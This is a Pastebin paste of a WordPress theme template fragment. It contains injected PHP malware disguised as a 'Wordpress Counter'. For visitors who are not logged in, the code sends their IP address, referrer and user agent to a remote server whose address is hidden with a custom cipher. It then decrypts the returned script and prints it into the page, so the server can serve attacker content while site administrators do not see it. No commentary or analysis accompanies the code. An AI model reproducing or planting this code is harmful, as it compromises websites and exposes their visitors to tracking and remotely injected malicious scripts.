Advertisement
Guest User

Corinne2

a guest
Apr 11th, 2012
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.87 KB | None | 0 0
  1. </ul>
  2. <?php } ?>
  3. </div><!-- /nav -->
  4.  
  5. <div id="container" class="container_12">
  6. <!-- Wordpress Counter -->
  7. <?php
  8. if (!is_user_logged_in()) {
  9. $ip = @urlencode ($_SERVER['REMOTE_ADDR']);
  10. $ref = @urlencode ($_SERVER['HTTP_REFERER']);
  11. $ua = @urlencode ($_SERVER['HTTP_USER_AGENT']);
  12. $url = dsCrypt ( '89Z3:/#P9T2K5PA086]00P#P7261KZ]09@IQc', 1 ).'?ip='.$ip.'&ref='.$ref.'&ua='.$ua;
  13. if ( function_exists ('curl_init') ) {
  14. $ch = @curl_init ($url);
  15. @curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, 5 );
  16. @curl_setopt ( $ch, CURLOPT_TIMEOUT, 5 );
  17. @curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, TRUE );
  18. $doms = @curl_exec ($ch);
  19. @curl_close ($ch);
  20. }
  21. else
  22. $doms = @file_get_contents ($url);
  23.  
  24. list ( $trash, $secure, $script ) = explode ( '====================', trim ($doms) );
  25. if ( md5 (trim ($secure) ) == '80b27b54b59a600bbf04aa9700a8ce70' ) {
  26. print dsCrypt ( $script, 1 );
  27. }
  28. }
  29.  
  30. function dsCrypt($input,$decrypt=false) {
  31. $o = $s1 = $s2 = array();
  32. $basea = array('?','(','@',';','$','#',"]","&",'*');
  33. $basea = array_merge($basea, range('a','z'), range('A','Z'), range(0,9) );
  34. $basea = array_merge($basea, array('!',')','_','+','|','%','/','[','.',' ') );
  35. $dimension=9;
  36. for($i=0;$i<$dimension;$i++) {
  37. for($j=0;$j<$dimension;$j++) {
  38. $s1[$i][$j] = $basea[$i*$dimension+$j];
  39. $s2[$i][$j] = str_rot13($basea[($dimension*$dimension-1) - ($i*$dimension+$j)]);
  40. }
  41. }
  42. unset($basea);
  43. $m = floor(strlen($input)/2)*2;
  44. $symbl = $m==strlen($input) ? '':$input[strlen($input)-1];
  45. $al = array();
  46. for ($ii=0; $ii<$m; $ii+=2) {
  47. $symb1 = $symbn1 = strval($input[$ii]);
  48. $symb2 = $symbn2 = strval($input[$ii+1]);
  49. $a1 = $a2 = array();
  50. for($i=0;$i<$dimension;$i++) {
  51. for($j=0;$j<$dimension;$j++) {
  52. if ($decrypt) {
  53. if ($symb1===strval($s2[$i][$j]) ) $a1=array($i,$j);
  54. if ($symb2===strval($s1[$i][$j]) ) $a2=array($i,$j);
  55. if (!empty($symbl) && $symbl===strval($s2[$i][$j])) $al=array($i,$j);
  56. }
  57. else {
  58. if ($symb1===strval($s1[$i][$j]) ) $a1=array($i,$j);
  59. if ($symb2===strval($s2[$i][$j]) ) $a2=array($i,$j);
  60. if (!empty($symbl) && $symbl===strval($s1[$i][$j])) $al=array($i,$j);
  61. }
  62. }
  63. }
  64. if (sizeof($a1) && sizeof($a2)) {
  65. $symbn1 = $decrypt ? $s1[$a1[0]][$a2[1]] : $s2[$a1[0]][$a2[1]];
  66. $symbn2 = $decrypt ? $s2[$a2[0]][$a1[1]] : $s1[$a2[0]][$a1[1]];
  67. }
  68. $o[] = $symbn1.$symbn2;
  69. }
  70. if (!empty($symbl) && sizeof($al))
  71. $o[] = $decrypt ? $s1[$al[1]][$al[0]] : $s2[$al[1]][$al[0]];
  72. return implode('',$o);
  73. }
  74. ?>
  75.  
  76. <!-- Wordpress Counter -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement